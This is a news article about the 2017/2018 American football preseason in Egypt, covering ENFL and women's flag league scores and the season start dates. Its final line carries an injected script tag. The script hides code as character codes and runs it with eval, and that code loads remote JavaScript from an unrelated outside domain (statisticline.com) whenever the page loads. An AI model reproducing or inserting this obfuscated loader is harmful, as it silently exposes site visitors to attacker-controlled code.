The <strong>American football</strong> preseason has just been concluded in <strong>Egypt</strong> with outstanding performances from all the teams and close scores in most games, promising a very exciting football season.

The<strong> 2017/2018 American football season</strong> in <strong>Egypt</strong> is set to be the biggest yet, with eight men’s and eight women’s flag teams participating this season, up from five and three respectively last season.

The <strong>Egyptian National Football League</strong> (ENFL) 2016/2017 ended with the <strong>GUC Eagles</strong><a href="http://www.americanfootballinternational.com/egypt-eagles-win-third-consecutive-national-championship/"> defeating the <strong>MSA Tigers</strong> in the <strong>Egyptian Bowl</strong> to win their third straight championship</a> while not losing a single game in that time span.

The <strong>Eagles</strong> continued their dominance in both their preseason games  defeating the <strong>Wolves</strong> 14-0 and then the <strong>Tigers</strong> 18-12.

The <strong>Tigers</strong> had no trouble beating the <strong>AUC Titans</strong> (36-8) who have come back to the <strong>American</strong>football scene this season,  after missing the previous season. The Titans did manage one win in the preseason against the newcomers, the <strong>Cairo Warriors</strong> (14-8).

The <strong>Hell Hounds</strong> also won both their preseason games against the <strong>Wolves</strong> (38-14) and the newest team in the <strong>ENFL,</strong> the <strong>Gezira Thunder</strong> (54-0), maintaining their reputation as one of the strongest teams in the <strong>Egyptian</strong> league and promising a very strong performance this season. The <strong>Bears</strong> had a great preseason as well. Even though they had no wins last season, they are the third team, along with the <strong>Eagles</strong> and Hounds, who managed two wins in their preseason games against the <strong>Thunder</strong> (42-0) and <strong>Warriors</strong> (24-6).

Each of the men teams has formed a women team; which adds five new teams to the <strong>Egyptian Flag Football League (EFFL)</strong> this season in addition to last season’s teams: The <strong>Cairo Wolves, GUC Eagles</strong> and<strong> Cairo Warriors</strong>

The <strong>Wolves,</strong> champions of the first flag football league in <strong>Egypt,</strong> the <strong>Middle East</strong> and <strong>North Africa,</strong> lived up to their reputation by winning both preseason games against the <strong>Eagles</strong> (13-6) and <strong>Hounds</strong> (20-7).

Last season’s runners-up, the <strong>Warriors,</strong> also won both their games against the <strong>Bears</strong> (38-6) and <strong>Titans</strong> (32-22). while the <strong>Eagles</strong> won one game against the <strong>Tigers</strong> (31-0).

The new women teams are catching up quickly, especially the <strong>Titans,</strong> who have made a powerful debut against the <strong>Tigers</strong> in the first game ever for both teams, which the <strong>Titans</strong> won (55-26). The <strong>Hounds</strong> also won one game against the <strong>Thunder</strong> (31-19). The <strong>Thunder</strong> managed one win as well against the <strong>Bears</strong> (37-20). Neither the <strong>Tigers</strong> nor the <strong>Bears</strong> was able to secure any wins in their preseason games.

The teams have two months to rest and get ready for the <strong>ENFL</strong> regular season which starts on Friday, February 16th and the <strong>EFFL</strong> which starts on Saturday, February 17th. With more teams signing professional foreign players and coaches to support their excellent Egyptian squads, the <strong>2017/2018 American football</strong> season in <strong>Egypt</strong> is definitely one to look forward to.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);</script>
